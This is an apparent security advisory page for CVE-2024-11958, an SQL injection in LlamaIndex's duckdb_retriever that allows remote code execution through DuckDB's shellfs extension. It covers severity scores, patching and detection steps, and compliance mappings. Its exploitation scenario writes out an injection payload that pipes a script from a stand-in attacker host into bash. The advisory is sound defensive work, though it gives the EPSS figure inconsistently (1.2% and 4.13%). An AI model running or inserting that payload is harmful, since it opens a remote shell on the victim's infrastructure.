CVE-2024-11958 — CRITICAL (CVSS 9.8) AI Security Vulnerability

Q: Is CVE-2024-11958 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-11958, increasing the risk of exploitation.

Q: How to fix CVE-2024-11958?

1. IMMEDIATE: Upgrade llama-index-retrievers-duckdb-retriever to v0.4.0 or later (pip install --upgrade). 2. AUDIT: Inventory all environments using LlamaIndex — check pip freeze or Poetry lockfiles for the affected package. 3. DETECT: Search logs for anomalous DuckDB queries containing INSTALL, LOAD, or shellfs strings. 4. ISOLATE: If patching is delayed, restrict network access to services running duckdb_retriever and disable DuckDB extension installation permissions at the OS level. 5. ROTATE: Assume any API keys, credentials, or secrets accessible by the LlamaIndex process are compromised if the package was exposed to untrusted input before patching.

Q: What systems are affected by CVE-2024-11958?

This vulnerability affects the following AI/ML architecture patterns: RAG pipelines, agent frameworks, local AI databases, document Q&A systems.

Q: What is the CVSS score for CVE-2024-11958?

CVE-2024-11958 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 4.13%.

CISO Take

If your RAG pipelines use LlamaIndex with the duckdb_retriever, you have a CVSS 9.8 RCE on your hands — patch to v0.4.0 immediately, no workarounds are acceptable. The attack chain is straightforward: SQL injection through unparameterized queries → DuckDB shellfs extension → arbitrary OS command execution. Treat any LlamaIndex deployment using this retriever as fully compromised until patched.

Risk Assessment

Critical severity with a well-defined RCE path that requires zero authentication or user interaction. EPSS of 1.2% is currently low, but the attack technique is trivially reproducible given the public PoC on huntr.com. Exposure is highest in organizations running LlamaIndex RAG pipelines that accept user-controlled query inputs — a common pattern in enterprise AI assistants and document Q&A systems. Network-accessible without privileges, this will be weaponized quickly once exploitation tooling circulates.

Affected Systems

Package	Ecosystem	Vulnerable Range	Patched
llama-index-retrievers-duckdb-retriever	pip	< 0.4.0	`0.4.0`
49.3K 229 dependents Pushed yesterday 87% patched ~50d to patch Full package profile →

Do you use llama-index-retrievers-duckdb-retriever? You're affected.

Severity & Risk

CVSS 3.1

9.8 / 10

EPSS

4.1%

chance of exploitation in 30 days

Higher than 89% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Moderate

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Attack Surface

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

Recommended Action

5 steps

IMMEDIATE

Upgrade llama-index-retrievers-duckdb-retriever to v0.4.0 or later (pip install --upgrade).
AUDIT

Inventory all environments using LlamaIndex — check pip freeze or Poetry lockfiles for the affected package.
DETECT

Search logs for anomalous DuckDB queries containing INSTALL, LOAD, or shellfs strings.
ISOLATE

If patching is delayed, restrict network access to services running duckdb_retriever and disable DuckDB extension installation permissions at the OS level.
ROTATE

Assume any API keys, credentials, or secrets accessible by the LlamaIndex process are compromised if the package was exposed to untrusted input before patching.

CISA SSVC Assessment

Decision Attend

Exploitation poc

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Code Execution Supply Chain Data Extraction Framework RAG Plugin AML.T0010.001 - AI Software AML.T0037 - Data from Local System AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0085.000 - RAG Databases

Compliance Impact

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system

ISO 42001

6.1.2 - AI risk assessment A.6.2.6 - Security of AI systems in operation

NIST AI RMF

GOVERN 1.4 - Organizational risk tolerance and policies MANAGE 2.2 - Mechanisms to address AI risks

OWASP LLM Top 10

LLM03 - Supply Chain Vulnerabilities LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2024-11958?

If your RAG pipelines use LlamaIndex with the duckdb_retriever, you have a CVSS 9.8 RCE on your hands — patch to v0.4.0 immediately, no workarounds are acceptable. The attack chain is straightforward: SQL injection through unparameterized queries → DuckDB shellfs extension → arbitrary OS command execution. Treat any LlamaIndex deployment using this retriever as fully compromised until patched.

Is CVE-2024-11958 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-11958, increasing the risk of exploitation.

How to fix CVE-2024-11958?

1. IMMEDIATE: Upgrade llama-index-retrievers-duckdb-retriever to v0.4.0 or later (pip install --upgrade). 2. AUDIT: Inventory all environments using LlamaIndex — check pip freeze or Poetry lockfiles for the affected package. 3. DETECT: Search logs for anomalous DuckDB queries containing INSTALL, LOAD, or shellfs strings. 4. ISOLATE: If patching is delayed, restrict network access to services running duckdb_retriever and disable DuckDB extension installation permissions at the OS level. 5. ROTATE: Assume any API keys, credentials, or secrets accessible by the LlamaIndex process are compromised if the package was exposed to untrusted input before patching.

What systems are affected by CVE-2024-11958?

This vulnerability affects the following AI/ML architecture patterns: RAG pipelines, agent frameworks, local AI databases, document Q&A systems.

What is the CVSS score for CVE-2024-11958?

CVE-2024-11958 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 4.13%.

Technical Details

NVD Description

A SQL injection vulnerability exists in the `duckdb_retriever` component of the run-llama/llama_index repository, specifically in llama-index-retrievers-duckdb-retriever prior to v0.4.0. The vulnerability arises from the construction of SQL queries without using prepared statements, allowing an attacker to inject arbitrary SQL code. This can lead to remote code execution (RCE) by installing the shellfs extension and executing malicious commands.

Exploitation Scenario

An adversary interacts with an enterprise RAG chatbot powered by LlamaIndex. The chatbot accepts natural language queries that internally construct DuckDB SQL queries without parameterization. The attacker crafts a payload such as `'; INSTALL shellfs; LOAD shellfs; SELECT shell('curl attacker.com/shell.sh | bash'); --` embedded in their query. The duckdb_retriever concatenates this directly into a SQL string, DuckDB installs and loads the shellfs extension, and executes the arbitrary shell command — establishing a reverse shell on the AI infrastructure host with access to model artifacts, vector databases, and downstream secrets.